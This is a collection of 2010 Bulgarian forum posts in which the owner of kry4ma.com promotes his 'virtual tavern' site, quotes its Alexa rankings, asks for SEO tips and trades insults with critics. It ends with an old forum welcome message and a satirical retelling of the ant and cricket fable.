8. Не е глупост разделянето на 3 на възможностите от Брутян, но за човек, който смята СУ-то за смешен университет, де да очаквам да разбира от ДИАЛЕКТИЧЕСКА ОНТОЛОГИЯ? Няма как да стане, батко, няма! И к'во? Смяташ, че мога да забравя какво е писал Брутян точно в една от пропедевтичните си книжки ли, дървено мозъче? Няма начин! Че даже и Брутян бил дървен философ. Ей, жалък си, да знаеш! На да видиш Брутян що за личност е:
http://www.biografija.ru/show_bio.aspx?ID=13456
МНОГО СИ ДАЛЕЧ ОТ ФУНДАМЕНТАЛНАТА НАУКА И ЗА ТОВА НЯМА КАК ДА ЗНАЕШ КОЛКО МНОГО МОЖЕ ДА ПОМОГНАТ НЕЩА КАТО ДИАЛЕКТИЧЕСКАТА ОНТОЛОГИЯ И ЛОГИКА, примерно, ЗА РАЗВИТИЕТО НА ЕДИН САЙТ!
9. Нека отговорим на заинтересоваността ти:
а) Няма значение колко човека ще тръгнат да учат китайски от форум. И 10 човека да са от България и 2-ма българиста от Китай, това все е нещо. Отделно, все още, няма много китайски ресурси на български, така че съм ударил в десетката или поне в деветката с тая рубрика. По същия начин по който и основателят на Zhongbaotong с първия китайско-българо-китайски речник, където се явявам главен редактор и от който ползвам материали за моите уроци. А в бъдеще Китай ще е все повече фактор, поне в икономиката, ако не и в културата на света, така че повече и повече народ иска да учи китайски в САЩ, а скоро и в България.
б) Няма лошо, ако има и секция за запознанства в даден сайт. ЕСЕНЦИАЛНО Е ЗА КРЪЧМИТЕ, ЧЕ СТАВАТ В ТЯХ ЗАПОЗНАСТВА. А това, че ми е хрумнала идейката да направя първите в България запознанства с азиатки е много дразнещо, понеже не ти е хрумнало първо на тебе, нали? Направи и ти, бе! Да не съм те спрял. Нека цъфтят хиляди цветя, нека има хиляди сайтове за запознанства с азиатки! Аз от конкуренти се не плаша, знаеш ли? Напротив! Развиват ме!
в) Не си ти човека, който казва кое е боклук. А и не съм писал, че се събира само изтритото в Уикипедия. Казвам, че се пише за неща, които ОЩЕ ги няма там. Т.е. помагам на хората да имат повече инфо, а ти какво правиш? Обиждаш стойностния труд на човека. И кой те излъга, че от Уикипедия се трие само боклука?! Често се трият и неща, които имат енциклопедична стойност, а после ги добавят. Можеш да разгледаш историята на изтритие им неща и колко от тях, О НЕБЕСА, вече ги има като статии.
Така че всяка информация е ценна, ако е вярна, няма боклук-информация, както си мислиш.
г) Да, след година ще има и платени обяви, НО ВИНАГИ ще предлагам и безплатни такива, защото не всеки може да си плаща, а информацията, както съм те учил, е необходима и е добра анти-кризисна мярка.
д) Не всеки, който е баннат от друг форум е лош. А и да е лош, доколкото спазва законите на Република България и ЕС, нека дойде и да се изкаже. Даже лоши хора като тебе, както казах, са добре дошли! Свободата на словото е ЦЕННОСТ на всяко демократично общество и аз ще я предоставя!
Следва...
Bashvinar, Sep 24, 2010
--
е) За автомобилите - Кръчма.ком има тема "Бръм-бръм", заповядайте! Може да пишеш и за тунингите на автомобилите там, стига и те да не се окажат нещо дървено, тъпо, смешно и пр. за тебе, както се оказа най-големият бг-университет, философията и учени като Г.А. Брутян.
ж) Нямам раздел за компютри, но има ПОДРАЗДЕЛ "Наука", може всеки да пише там, ако има какво да сподели. Така или иначе не знам дали ти ще се справиш с темата, но опитай...
з) Свободната трибуна засега е заключена, защото се местя на друг хостинг и този, който ме хоства сега е против тази рубрика, но скоро ще я има и ще я презентирам, не ми бери грижата точно ти, плийз!
и) Ще вкарам и още рубрики и ще се качвам по-нагоре, а ти, както казах - ще лапаш мухите и ще се изявяваш като "писател"
й) Не, не съм същия човек.
к) Уникално, дръвченце, означава неповторимо. Т.е. неповторимото в КРъчма.ком е , че е :
1) Първа виртуална б ългарска кръчма
2) Предлага свободна трибуна за банати от други форуми
3) Предлага безплатни уроци по италиански и китайски
4) ПРедлага запознанства с азиатки
5) Предлага философска гледна точка към алкохолните и параалкохолните тематики
6) Предлага материали, които няма как да прочетеш някъде в Интернет.
Резултатът? Качва се все по-нагоре. Видя за малко над месец къде сме, нали? Ако си забравил - да припомня - вече на Site Information for kry4ma.comGet Details Alexa Traffic Rank: 3,705,674 Traffic Rank in BG: 22,211
А ти вместо да се радваш и да се гордееш, че България си има и своя виртуална кръчма си взел да завиждаш и да обиждаш. Нямаш ли поне малко национална гордост, ако не друго?!
---
Не съм научил 20-30 думички, а поне 200-300, които ти не знаеш и няма как да употребиш не само в ежедневието, но и дори с въже на шията. Т.е., ако някой си го няма акъла, няма как да го има, без да си го усвои. А това, че не се употребяват често ГИ ПРАВИ ЦЕННИ. Никой няма да тръгне да търси в нет-а думи като :
аз, пет, ако...
много по-вероятно е да потърси дума, която НЕ СЕ УПОТРЕБЯВА ЧЕСТО. Затова е и гениална идеята на Еленко Еленкове, на който също съм редактор, да направи речника Неолог.бг за новите думи, неологизмите в б ългарския език. Този речник в момента е почти със същия трафик като Кръчма.ком, макар и да е само един речник, та представи си какво е да има база-данни за по-специални думи...ама мозък си трябва!
Не знам каква ти е реперната точка за "нормален човек", но не мисля, че ти го представляваш. А аз ще си говоря научно в този форум и ще си говоря на твоето ниво в Кръчма.ком, ти само ми се появи и ще видиш едно "нормално човешко говорене" там :) Чакам те, душко! Няма да те натоварвам с такива "сложни" думи. И си личи, че не си стъпвал в университет, щом мислиш, че магистър се става само за 4 години ;)
Хаха, аз не съм имал жени?! Хихи...мен даже редовно ме критикуват, че правя тройки и, че съм за полиамуризма и, че съм оправял проститутки, ти ми говориш, че не съм имал жени...Хаха...просто не ме познаваш, ела в www.kry4ma.com да се опознаем (ама само, ако си на над 17, че май не си...)
Не си прав, че съм си чоплил носа. Основно се занимавах с бойни изкуства, а и сега се занимавам, та не си мисли, че философите само четат...Имах 3-ма колеги, които бяха културисти, а един беше преподавател по кунг-фу. Имахме и спринтьори...Просто специалността не задава физическата култура. Много си на грешен път, мой...
Не избиваме никакви комплексчета. Как може човек, който има Кръчма.ком, който има магистърска степен по философия, който е здрав, който е вървежен сред жените и, който си има гадже-китайка, живущ в Китай да е с комплекси?! Ти май проецираш собствените си комплекси върху мен. Не става, дръвче, не става така...
За застаряването - пак не си прав. Като станеш на 34-35 ще видиш, че човек няма усещането за толкова стар. А и , ако ме срещнеш на пътя ще си мислиш, че съм някой на 18 до 20 годишен. Имам си методи за поддържане. Иначе не знам с кой кирлив акъл си помисли, че преподавател може да е безделник...Ти преподавал ли си нещо? А да не говорим за заетостта ми по кръчма.ком...Аз още не мога да почна да си пиша сценария за филм и да си работя по другите проекти , ти за безделие говориш...не си добре, то е ясно...
Клеветиш, бе, дръвчо, де съм писал, "20 годишни цървули"? Ако имаш нужда - пий някакви лекарства (по лекарско предписание!) и не си описвай халюцинациите или илюзиите.
Няма да ми даваш акъл къде и как да пиша. Пиша си, помагам хем на този форум, хем на Кръчма.ком Но ти няма как да разбереш смисъла на това, което правя :) Затова и резултатите ще са такива. Ти какъв сайт си направил,я се похвали и да сравним трафика, посещаемостта, това-онова?
Значи, колкото и да си дървен и да си злобарче, пак си наясно, че Кръчма.ком няма как да не влезне в Алекса на ТОП 1 000 000? Ами рано или късно и най-бавноразвиващите се елементи като твоя милост ще го схванат :) А, ако чакам ти да ме храниш, ще заприличам на Св. Иван Рилски (а в момента съм 81 килограма за справка)...Извинявам ти се, че отново те натоварих с мислене и вайкане кой пък е тоя Иван Рилски...сигурно и той е някой, който си е чоплел носа...Надявам се България да има по-малко хора като тебе, честно ти казвам, защото ако всички са на едно такова ниво, наистина ще трябва да се мисли за човешкия материал дали е лош или не е. Но аз съм оптимист и не мисля така, иначе нямаше да се изненадвам от такава простотия. Ти просто цепиш мрака с твоята!
За следващи реакции (дуплики) на твои реплики тук, само в "Анти-кръчма" на Кръчма.ком!
Поздрави и пожелания за здраве и повече мозъчно развитие!
Bashvinar, Sep 24, 2010
--
Пич, направо си заслужи темичка в "Господар на форума" ("Интересни постове от други форуми"). Влез и се наслади на отговорчето ми :p...Уникален си и ти, не е само Кръчма.ком уникалната! Скъса ме от смях, да знаеш! Наздраве!
Чети тука (http://kry4ma.com/index.php/topic,614.0.html) и обърни много сериозно внимание на т.5 !!!!
Bashvinar, Sep 24, 2010
--
Скорпи може и да е прав, но не е това начинът (с невъзпитаност и нисък праг на избухливост) да убеждава. Разбира се, това е мое мнение.
Скайпът е добро начало. По принцип използвам и Яху, както и QQ (ето още нещо ново, което научиха много хора току-що, предполагам :) )...
Извинявам се, че съм те подразнил, както и всички останали, които са се усетили подразнени. Защото, както знаем от психологията, праговете на дразнимост (раздразнителност) като количество и качество са различни :)
Сайтът на който не бива да му се споменава името ;), за да няма разразнени, мисля, че само след година-две няма да има никаква нужда от реклама, ако всичко върви толкова добре, както досега или поне на 20 % от досегашния успех.
Успех и на Спортплейс.инфо. Заповядай, ако искаш, за безплатна рекламка в сайта, на който не му споменавам името в тоя пост ;)
Bashvinar, Sep 24, 2010
--
Ади, първо още в самото начало на темата съм казал, че ако се сметне за нужно - може да се изтрие!
Второ, Ади, трябва да сме по-малко егоистични и да сме си взаимоизгодни. Много е коректно даже да си пиша тука за Кръчма.ком, при положение, че там пък редовно цитирам Предприемач.ком (имаме търсачка провери кой и колко пъти е цитирал Предприемач.ком). Това е взаимоизгодно и справедливо.
Колкото до нахалството - не мисля така. Просто давам отговори на хората, които се включват по темата и никой не съм накарал със сатър на гърлото или шило в слабините да пише в тая тема, а още по-малко да ме напада.
Извинявам се, ако неволно съм накърнил с нещо морално-естетическите ви чувства с това, че съм написал нещо повече от допустимото (във вашите представи) за Кръчма.ком!
Bashvinar, Sep 24, 2010
--
ВториЧепик,...само като ти гледам ника "Втори Чепик" и местонахождението "В замъка на Дядо Прас" бих сериозно се замислил кой от двама ни е по-изперкал, но щом мислиш, че съм аз и, че си щастлив, че не си мен - жив и здрав.
Хубав аватар...при един по-дълбок психологически анализ би показал доста за психо-същността ти. Поздрави!
Bashvinar, Sep 24, 2010
--
Както съм казал на този ненормален субект отговарям само в моя сайт. Останалите също да видят отговора, за да не допускат сериозната грешка в търсенето с Гугъл, която е демонстрирана по-горе. Ето и реакцията ни:
http://kry4ma.com/index.php/topic,614.msg2704.html#msg2704
Bashvinar, Sep 24, 2010
--
Не знам кой е Апостол Апостолов. Не съм карал курсове при него. Аз съм Гесер Курултаев (магистър по философия, поет, преводач,главен редактор на Zhongbaotong - първият китайско-българо-китайски онлайн речник в България, редактор в Neolog.bg - първият речник за неологизми на журналиста Еленко Еленков, преподавател в КНР, собсвеник на Първа виртуална българска кръчма(www.kry4ma.com) и преводач, към днешна дата)
Не знам за какви същи методи говорите, но е показателна позицията на Кръчма.ком, която за по-малко от два месеца вече е на 12 387-мо място в България и на 3 302 474-то място в света. Даже пред часове получих предложение за продан от 10 000 евро, но отказах. Всъщност това е отделна тема, която също трябва да се обсъди, по възможност без участието на хората със заявено психотично поведение.
Bashvinar, Sep 24, 2010
--
Отговор на обидата на психарчето:
http://kry4ma.com/index.php/topic,614.msg2708.html#msg2708
(За останалите нищо интересно, не го посещавайте да губите време, ако очаквате нещо кой знае колко интересно)
Bashvinar, Sep 24, 2010
--
Радвам се, че си вкарал сайт толкова напред и то само за 1 месец! Кой е този сайт? Бих искал да го посетя, а и да видя каква му е днешната позиция.
За топ 1000 си прав. А и аз не съм говорил за голям успех. Даже в по-предни постове дефинирах успеха като нещо със субективни измерения, защото зависи от личните разбирания на хората. За някой успех е това, че е здрав, а за друг това е само изходна точка и се счита за успял чак след като е не само здрав, но и милионер.
Не, не съм съгласен, че статистиката идва само от тулбарът! В началото ме посещаваха само мои познати и трафикът се вдигна с няколко милиона, а доколкото знам никой от тях няма този тулбар! Аз в момента имам по около 100-200 уникални посещения на ден, за справка, ако някой го вълнува.
Всъщност темата за алекса я генерирате и вие. Ето, ако не я беше споменал сега, може би нямаше и аз да я споменавам. :)
Аз правя неприятно впечатление? А какво впечатление прави Скорпи, който обижда, клевети, пише измислици по блоговете и пр.? Или ти само избирателно си ги гледаш нещата.
Няма лошо капанчето да се рекламира в баровете, а баровете в капанчето. Това се нарича ВЗАИМОПОМОЩ, ЧОВЕЩИНА, ВЗАИМОИЗГОДНО СЪТРУДНИЧЕСТВО, АНТИКРИЗИСНА МЯРКА и пр. неща, които са малко далечко от егоистичната човешка същност на някои хора...
Все пак - благодаря за коментара ти!
Bashvinar, Sep 24, 2010
--
Няма смисъл да го уважавам толкова на ЛС. Нека от цялата му агресия поне да има полза за сайтовете. Малко ли думи и кантънт така се вкарва?
Съжалявам, че съм ти досадил, не го приемай персонално.
Не, не мисля, че съм "луузър" (всъщност на български може да го спелваш само с едно "у", защото чуждицата по принцип така е приела популярност, а и фонетично в английския език звукът не се произнася с толкова дълга гласна).
Не мисля, че съм лузър, защото имам диплома от СУ с магистърска степен, имам си приятелка, имам си добра работа, уважаван човек съм в различни среди, имам различни научни хобита (алтаистика, психология, история, езици), владея няколко езика и разполагам с богата автобиография. Рядко има хора, които могат да се похвалят с нещо такова, така че, по-скоро ме приемай за "съксесфул мен", ако, разбира се, желаеш да си по-близко до обективната реалност.
Та не разбрайх - защо мълчаливо се отнасяш към обидите, клеветите и простащината на онзи човек, а на мен, ИЗБИРАТЕЛНО, ми реагираш остро? На какво се базира двойния стандарт и избирателността при теб?
Last edited: Sep 24, 2010
Bashvinar, Sep 24, 2010
--
Прав си много. Различната гледна точка е много хубаво нещо, защото даже и да не е правилна в някои отношения може да е правилна в други...Сещам се за Кримската война. Ако някой не знае - тогава няколко западни държави помагат на Османската империя във войната й с Русия и пребиват от бой Русията. Казват, че главна причина за победата била големият технически напредък на Западните сили спрямо които Русия била изостанала. ОБАЧЕ Русия в същата война, на Северния морски фронт прилага първите в света морски мини. Което значи, че всяка държава, даже и изостанала може да има някое изненадващо откритие. Нещо подобно е и тук. Не знам колко от вас са професионални, дипломирани софтуеър-инженери или подобни специалности, но знам, че от всяко мнение има полза, защото и съвсем неук човек, който си мисли, че интернет и интранет е едно и също, може да е ценен с някакви идеи.
Сещам се и за изобретяването на едно противоторпедно оръжие от една Западна армия. Решили да събират мнения как да го построят даже от простолюдието и една бабичка казала : "Като идва към кораба, всички моряци да се съберат и да духат срещу него, за да стане силен вятър и да го отклонят!"...И с това наивно изказване бил измислен принципа на създаване на противоторпедно оръжие, което наистина отклонява торпедото. Този пример го знам от колегата Теодор - ушуиста (випуск 1993 - 1998, СУ, ФФ, спец. "Философия") - поздрави, ако ни чете тук!
Bashvinar, Sep 25, 2010
--
2. От тема "ZoOmBG - Увеличи забавлението!":
За тях не знам, но заповядай в Кръчма.ком за безплатна реклама!
Успех на ZoOmBG!
Bashvinar, Sep 26, 2010
3. От тема "Да БАНосъчетаем ли Гъзосер Курлапаев и Гесер Курултаев?"
Аз оценявам способността ти да пишеш тематичен хумор и съм готов да ти предложа заплащане за статии от подобно естество, виж си личните съобщения :)
Bashvinar, Sep 26, 2010
--
Нямам някакви големи нарушения и не намирам смисъл от банове, но, както знаят всички, в Българското интернет пространство вече съществува "Свободна трибуна" ("Free speech"), която дава възможност на хора, получили забрана да пишат по други форуми, да се изказват. "Свободна трибуна" е раздел от Кръчма.ком
@ Томов, такива общи обвинения, че хората говорили глупост са безпочвени. Ако обвиняваш някой в нещо такова е редно да посочиш КОНКРЕТНО и да ДОКАЖЕШ, иначе си е чисто и просто клевета/обида.
@@ ВбТК - ти си един от най-големите посерковци, приеми го и не проецирай собствената си посерщина върху по-кадърните, по-умни и др. "по-" от тебе.
@@@ Йорданов, както съм писал - всяка една дума за Кръчма.ком, без значение добра, остра или неутрална я популяризира. А популярно е по-добре от непопулярно. Защото, когато кажеш, че "Х е лошо" някои хора ще помислят, че Х е лошо, други, че не е лошо, а трети няма да ги интересува, НО ВСИЧКИ ЩЕ ЗНАЯТ, ЧЕ ИМА "Х"...Т.е. независимо от предикатите (лоши, добри, неутрални) популярността на субекта (в случая Кръчма.ком) е налице. След това, всеки за себе си, преценява дали е добра, лоша или горе-долу.
Bashvinar, Sep 26, 2010
4. От тема "Рекорд ли е качването на осем кучета наведнъж върху кучка.ком?"
Виж си ЛС-то.
--
-
Още от същата "поредица" - изтрити от predpriemach.com и пейстнати тук, за да се увеличава съдържанието на този международен всичкологичен (омнилогичен) форум:
От: Вече съм на първа страница в Google
Ами и аз така, само че на шльокавица (популярната българска латиница). Като напишеш "Kry4ma" и още дори на пърия резултат, не само на първа страница, се показва ввв.кръ4ма.цом. И това без всякакви по-сложни неща (оптимизации), които описваш. Просто каня хора лично и/или публично да го посещават, давам безплатни обяви (засега!), пишем по интересни (относително-казано, защото интересността е субективна работа) тематики, сложих уникални рубрики ("Encyclopedia Alternativa" ("Кръчмопедия") - за всичко, което по някакви причини е изтрито или не присъства в Уикипедия към момента на публикуването му и "Любов с азиатки/-ци"("Asian love") за запознанства на българи с хора от Източна Азия) и това е. А! Да не забравя. Сложих (по препоръка от някаква тема на ввв.предприемач.цом ) една карта на сайта, че да го индексирал по-лесно Гугъла или нещо такова, вчера и това изчерпва всичко. Както писах в една друга тема, въпросната първа българска виртуална кръчма за месец се вдигна с няколко милиона в Алекса-та, така че засега върви добре в рамките на малко повече от месец развитие. И, ако все така вървим, ще е доказателство как успешен сайт може да се прави и без много-много СЕО и без специални умения (както писах и преди дилетант съм в информатиката, с философско образование, без нито един изкаран курс по хардуеър, софтуеър и каквото и да било друго свързано с компютри, ако не броим един ЗИП по електроника и електротехника в Средното). Да не забравяме, че едно време, когато нямаше такива СЕО-та и пр. (не, че ги отричам или онищоствявам) пак си имаше сайтове, които и до днес си стоят на челни позиции...
От: Вече съм на първа страница в Google
Аз не разбрах към кого се обръщате, но в случай, че е до мен - както казах, аз съм дилетант в тези неща и като всеки дилетант е възможно (даже, в известна степен, полу-задължително) да съм с малко по-романтичен (не-реалистичен) стремеж и/или подход към тези неща, но...доколкото в науката историята свидетелства, че точно дилетантите са правили (понякога) революции, запазвам едно голямо зрънце надежда за "кръчмичката" си. За разлика от други сайтове, в този сайт (предприемач.ком) гледам на всеки човек като на по-голям от мен и като на свой учител в дебрите на интернет/софтуеър/оптимизации и пр., затова се радвам на всяко съдържателно мнение, дори и на критичните
От: Вече съм на първа страница в Google
Разбира се, че търся и ще прилагам каквото намеря за добре и каквото е във възможностите и желанията ми. Относно успехите, учил съм, че успехът е нещо с доста субективни страни. Ако за някои успех е да са въобще в Гугъл, за други успех е чак след като са на първа страница Т.е. успехът се подразбира от всеки по разному, В ЗАВИСИМОСТ ОТ ТОВА, КАКВИ ГРАНИЦИ(цели; постижения) СИ Е ЗАДАЛ. Аз лично съм сравнително-скромен по отношение на сайта си и приемам за успех това, че го имам, че е първи по рода си (Първа цялостна виртуална кръчма в България), че работи, че можах да си сложа Гугъл адсенс, че сложих карта на сайта, че се справям с администрирането му и, че съм сложил раздели, които ги няма на други места (безплатни уроци по китайски и италиански, запознаства с азиатки, и др.), че съм по-напред в класациите от доста други сайтове (правени и поддържани от специалисти в бранша), че го списвам на 3 езика (български, китайски и английски) и, че имам посещения не само от България Както виждаш все скромни неща, които всеки може да постигне, но ги приемам за успехи (без да се хваля пред вас точно с тях. Тук пиша само, за да се консултирам). Виждам, че в момента Бригадири.ком е с около 2.8 (две цяло и осем) пъти по-високо място в Алекса отколкото Кръчма.ком Разбира се последната е само на повече от месец, а "бригадирите" са на почти 2 години, ако може да се вярва на това: http://www.whois.net/whois/brigadiri.com.com , така че, след 2 години, а и по-рано, може да се изравним, живот и здраве, ако всичко е наред
От: Вече съм на първа страница в Google
Ами не е задължително, като сме взели да си споделяме опит. Гледам, че в България е много вървежен Тийнпроблема. И си мислех да направя едно сайтче за китайските тийнчета, но уви, както всичко друго, което съм търсил из китайския нет, вече имаше направено такова, но, уви явно китайските тийнчета са доста по-заети с уроците и/или с онлайн игрите, нямаше почти никаква посещаемост, докато българскийят тийнпроблем на едно от водещите места...Така че не всичко, което е на китайския пазар е успешно реализируемо. Друго какво да ти/ви кажа? Китай по абсолютна бройка (а не на глава от населението) е втората икономическа сила в света и първата по брой юзъри. Уви, в света на нет-а, това също не задава гарантирано предимство, защото например американският Гугъл е номер 1 в света, а китайкият Байду (www.baidu.com) 6-ти.
Колкото за пияниците - прав си, но те, поне класическите пияници, много от комп не разбират, а и да разбират не се задържат, камо ли да пишат у форуми. Ето, примерно, на Махмурлук.ком нещата:
Alexa Traffic Rank: 3,992,401
Traffic Rank in BG: 9,798
Sites Linking In: 21
Ето на Бирата.нет
Alexa Traffic Rank: 25,205,002
No regional data
Sites Linking In: 14
Ето и на Виното.ком
Alexa Traffic Rank: 4,414,885
No regional data
Sites Linking In: 44
Ето и на Кръчма.ком:
Alexa Traffic Rank: 4,365,494
No regional data
Sites Linking In: No Data
Единственият по-напреднал сайт е този на нашите приятели Кръчми.ком (той е нещо като каталог на кръчмите + малко допълнително инфо за футбол и др.), който в момента е така:
Alexa Traffic Rank: 2,163,863
Traffic Rank in BG: 11,620
Sites Linking In: : 6
За алексчето - обръщам му толкова внимание, защото няма друго. Аз в друга тема питах има ли някоя друга такава системка, която да измерва и да прави класации на световно равнище, но никой не ми каза, та предполагам, че още няма или не сме търсили като хората.
Така правя, djeims
От: Развиване на сайт за запознанства.
Мога да помогна с безплатна реклама в www.kry4ma.com
Линк: http://kry4ma.com/index.php/board,20.0.html
Ако искаш да е стикната (залепена, неподвижна, стояща винаги на първа страница), обаче, ще трябва да направиме бартерче с твоя сайт
(Предложението важи за всички тук!)
От: Сайт за запознанства на -en
Цитат Първоначално написано от CrAzY-MaST Разгледай мнение
за хостинг аз нямам оплаквания от hostgator засега
дали ще има успех си зависи от теб...
трафик може да събираш от всякакви сайтове като teenproblem, форуми, акаунти в други извесни сайтове
дизайна има къде да се пипне:
горе в дясно търсачката не ми харесват много цветовете
тия червените лентички може да се променят на нещо по-приятно и съвременно като дизайн
и т.н....
Имах опит с тийнпроблем, можете да прочетете тук какво би се получило и ориентировъчно как искат минимум 300+ потребителя:
От: колко пари мога да взема на prognozi.biz ?
Абе и на мен ми се струват занижени тези оценки. www.kry4ma.com (http://www.kry4ma.com) ми го дава само за "EstiBot Value: $ 180 USD"...Представяте ли си такъв безценен домейн да е само 180 долара?!
Колкото по темата - правиш в подходящ сайт/-ове търгче с начална минимална цена и виждаш колко мераклии биха се намерили.
За gonghui - това е на китайски и предполагам, че става дума за "公会". На китайската латиница се пише gonghui, но това се произнася като ГУНХУЪЙ и наистина, според мен, ако има такъв домейн би бил доста успешен в Китай, заради значението на думата (можете да видите 5-те значения тук: http://kry4ma.com/index.php/topic,50.msg2604.html#msg2604 (http://kry4ma.com/index.php/topic,50.msg2604.html#msg2604)), както и заради това на една подобна на нея (информация на същото място).
Ако продадеш този домейн, напиши къде и за колко е станала сделката!
От: колко пари мога да взема на prognozi.biz ?
Да. И живея в Китай. Ако това може да е от полза/помощ за някой тук, да го имате предвид :)
От: Алекса рейтингите са замразени?
Причината за отговаряне в стари теми е, че се появяват като подобни теми, под тези, които разглеждаш. По принцип това е полезно, защото даже и да са имат историческа значимост.
От: Много правилно!
Ааа, господин Апостоле, макар и да се разграничавам от просташките прояви спрямо вас, ще ви оспоря мъничко. Казвате
"текстът продава, а не графиката, картинката"...Според науките за човека - психология, неврофизиология и пр., най-общо казано, човекът си е ДЯСНО и ЛЯВО полукълбо. Ако текстът отива към лявото, рационалното, то изображението, картинката си води до дясното, емоционалното. Дори и да приемем, че няма такава строга локализация в мозъците ни, няма как да отречем, че ВИЗИЯТА също влияе в различна степен. Особено подходящи са визуалните реклами за хора с по-нисък интелект, защото не всеки може да е умен и да схваща текстове. Ако за мен с тебе изречението "Ефективни и ефикасни" има смисъл и се възприема като 2 думи с различно значение и съюз, то за, примерно, 10 % от аудиторията тук може това да няма смисъл или да имат ЕФЕКТИВНО и ЕФИКАСНО за синоними, а не само за омофони. На такива хора визуалните, емоционални послания биха били доста по-маркетингово успешни и/или разбираеми.
Поздрави, радвам се, че има и хора от интелигенцията в този форум, а не само тесни специалисти и/или набодобяващи специалисти!
От "Дайте малко съвети за www.kry4ma.com"
Здравейте, мили хора!
(Моля не-милите да не отговарят и да спазваме добрия тон!)
Направих наскоро един сайт и в момента съм по няколко ключови думи на първа страница в Гугъл, на първа в Байду, на първа в Яндекс и на първа в Яху.
Отделно, нямам алекса тулбар, но пък за по-малко от месец и половина, вече съм на следните позиции:
Alexa Traffic Rank: 3,002,914
Traffic Rank in BG: 8,595
Sites Linking In: No Data
...
Ако някой иска да знае кой е въпросния сайт (без това да се счита за реклама), то той е : www.kry4ma.com (http://www.kry4ma.com)
[SIZE="5"]Основният ми въпрос е:[/SIZE]
Така и така не съм правил никакви специални SEO-та като изключим слагане на карта на сайта, по препоръка на някой тук, отделно съм събмитвал сайта на много места (нали има разни, които те канят - добави си сайта, безплатна реклама, от този тип са)...Другото всичко е пряк маркетинг...Та нещата вървят засега много добре, но има ли нещо, което бихте препоръчали, за да може сайтът по-скоро да се издигне примерно в ТОП 200 за България и в ТОП 600 000 на света? В смисъл, че то, ако всичко върви добре, пак ще си дойде до тези позиции след половин-една година, максимум - две, но има ли легални средства (и безплатни), които биха ускорили този процес и, примерно, както каза едно момче - "Още за Коледа", т.е. в рамките на 3 месеца?
Моля само за професионални и възпитани отговори!
Предварително ви благодаря!
От: Дайте малко съвети за www.kry4ma.com
Спокойно, няма да си губя времето да пиша тук. На психариите като тази на гангстеро - отговарям супер-яко тук: http://kry4ma.com/index.php/topic,662.15.html (http://kry4ma.com/index.php/topic,662.15.html) , въобще не оставам длъжен никому.
А за всички, които се правеха на интересни и предричаха, че www.kry4ma.com (http://"http://www.kry4ma.com") няма да се издигне - да ги "зарадвам" с резултата ни към днешна дата:
Site Information for kry4ma.com (http://"http://www.alexa.com/siteinfo/kry4ma.com#trafficstats")
Get Details (http://"http://www.alexa.com/siteinfo/kry4ma.com#trafficstats")
- (http://www.alexa.com/images/icons/globe-sm.gif) Alexa Traffic Rank: 2,450,955 (http://"http://www.alexa.com/siteinfo/kry4ma.com#trafficstats")
- (http://www.alexa.com/images/flags/bg.png) Traffic Rank in BG (http://"http://www.alexa.com/topsites/countries/BG"): 4,207
2 450 955 - то място в света
4 207- мо в България
(За няма и 2 месеца! А, нека заинтересованите да сравнят позициите на някои от "разбирачите" тук с техните сайтове)
Продължавам да мисля, че в Предприемач.ком пишат и много интелигентни хора, но няколкото тъпи, недалновидни, психопатни и завистливи личности развалят обстановката, както и необективното, обременено с двоен стадарт, модериране.
Поздрави и успехи на всички добри хора, които ме подкрепиха и с, които даже си сътрудничим! Поздрави и на онези, които бяха достатъчно-възпитани, за да не се обаждат с примитивни обиди, даже и да не са съгласни с мен!
За всякакви по-сетнешни дуплики (отговори) на реплики от предприемач.ком спрямо Кръчма.ком или Гесер Курултаев - само в Кръчма.ком или в личния сайт на въпросния : kurultaev.com
~Bye
Ето и един от "милите спомени" там:
Latest Reputation Received (-48 point(s) total)
25-09-10 16:13
Тема: Върховни постижения на българския маркетинг
досаден дебил
;D
(Напомням, че вече не съм собственик на kry4ma.com. А kurultaev.com просто го спрях и прехвърлих повече от съдържанието му тук.)
-
Ето как съм приветствал с "добре дошъл" един човек по времето, когато бях модератор в един вече несъществуващ зоологически форум:
"МнениеПуснато на: Пон Авг 21, 2006 8:00 pm Заглавие: Добре дошъл! Отговорете с цитат
Добре дошъл, tgpetrov!
Видях сайтчето за гълъбите и ми хареса! Доста труд и желание е било положено, съдейки по подобен опит в друг сайт от моя страна, и от страна на един познат!
Тука има доста хора, които разбират от животни, независимо от възрастта, а и по всичко останало си говорим (даже се и караме при нужда), така че ще ти е интересно!
;D"
Тогава и Петя с подпис ""Животът е пълен с приключения...просто трябва да ги откриеш!"
Катрина" и интересно местожителство - "в края на нищото" се включи с "Дано да си редовен :)".
Това е засега, че много бързам за 2 урока с партньорката! 8)
-
Спомняте ли си ги тези двете? Едното го беше дала Skarlet, а другото ophidia:
През цялото лято мравката се труди усърдно, събира храна за зимата и си стяга къщата.
Щуреца през цялото лято пее и танцува и си мисли колко е глупава мравката да работи толкова много. Но зимата идва и мравката се прибира на топло, има си храна, подслон, изобщо, всичко при нея е О.К. Щуреца обаче няма къде да се прибере, целия е вледенен, няма и какво да яде, свиква пресконференция и пита защо мравката има право да стои на топло и да има какво да яде, а нещастния щурец мръзне гладен под снега. Телевизията веднага организира предаване на живо, как щуреца е посинял от студ и се чуди къде да се свре на завет. В същото време се пуска видео как мравката се е разположила удобно в топлия си дом, а масата е препълнена с храна. Всички хора са поразени, че бедния щурец е оставен да замръзва на улицата, докато другите тънат в изобилие и охолство. Асоциациите, борещи се срещу бедността организират протести пред дома на мравката. Журналистите организират интервюта, питащи как е допуснато мравката да забогатее на гърба на щуреца и искат от правителството да увеличи данъците на мравката, за да плати справедливата цена на богатството си. В отговор на сондажите, правителството приема закон за икономическо равенство и закон срещу дискриминацията. Данъците на мравката са увеличени и плюс това, тя трябва да плати огромна глоба за това, че не е наела щуреца на работа (за да му помогне финансово). Тъй като мравката няма достатъчно пари да си плати глобата и данъците, къщата й е иззета от държавата и тя емигрира в друга държава.
Телевизията прави репортажи как щуреца е надебелял. Той е на път да изяде и последните запаси от храна, натрупани от мравката, а пролетта е още далеч. Жилището на мравката се превръща в социално жилище за щуреца и започва да се разпада, защото последният не прави нищо за да го поддържа. И за това се порицава правителството.
Съставя се анкетна комисия по проблема, която ще струва 10 милиона.
Щуреца умира от свръхдоза.
Вестниците коментират провала на правителството да се справи със социалното неравенство.
Къщата се превръща в свърталище на банда от паяци имигранти.
Правителството се поздравява с голямото разнообразие на културни общности в държавата.
Паяците организират трафик на марихуана и тероризират целия квартал.
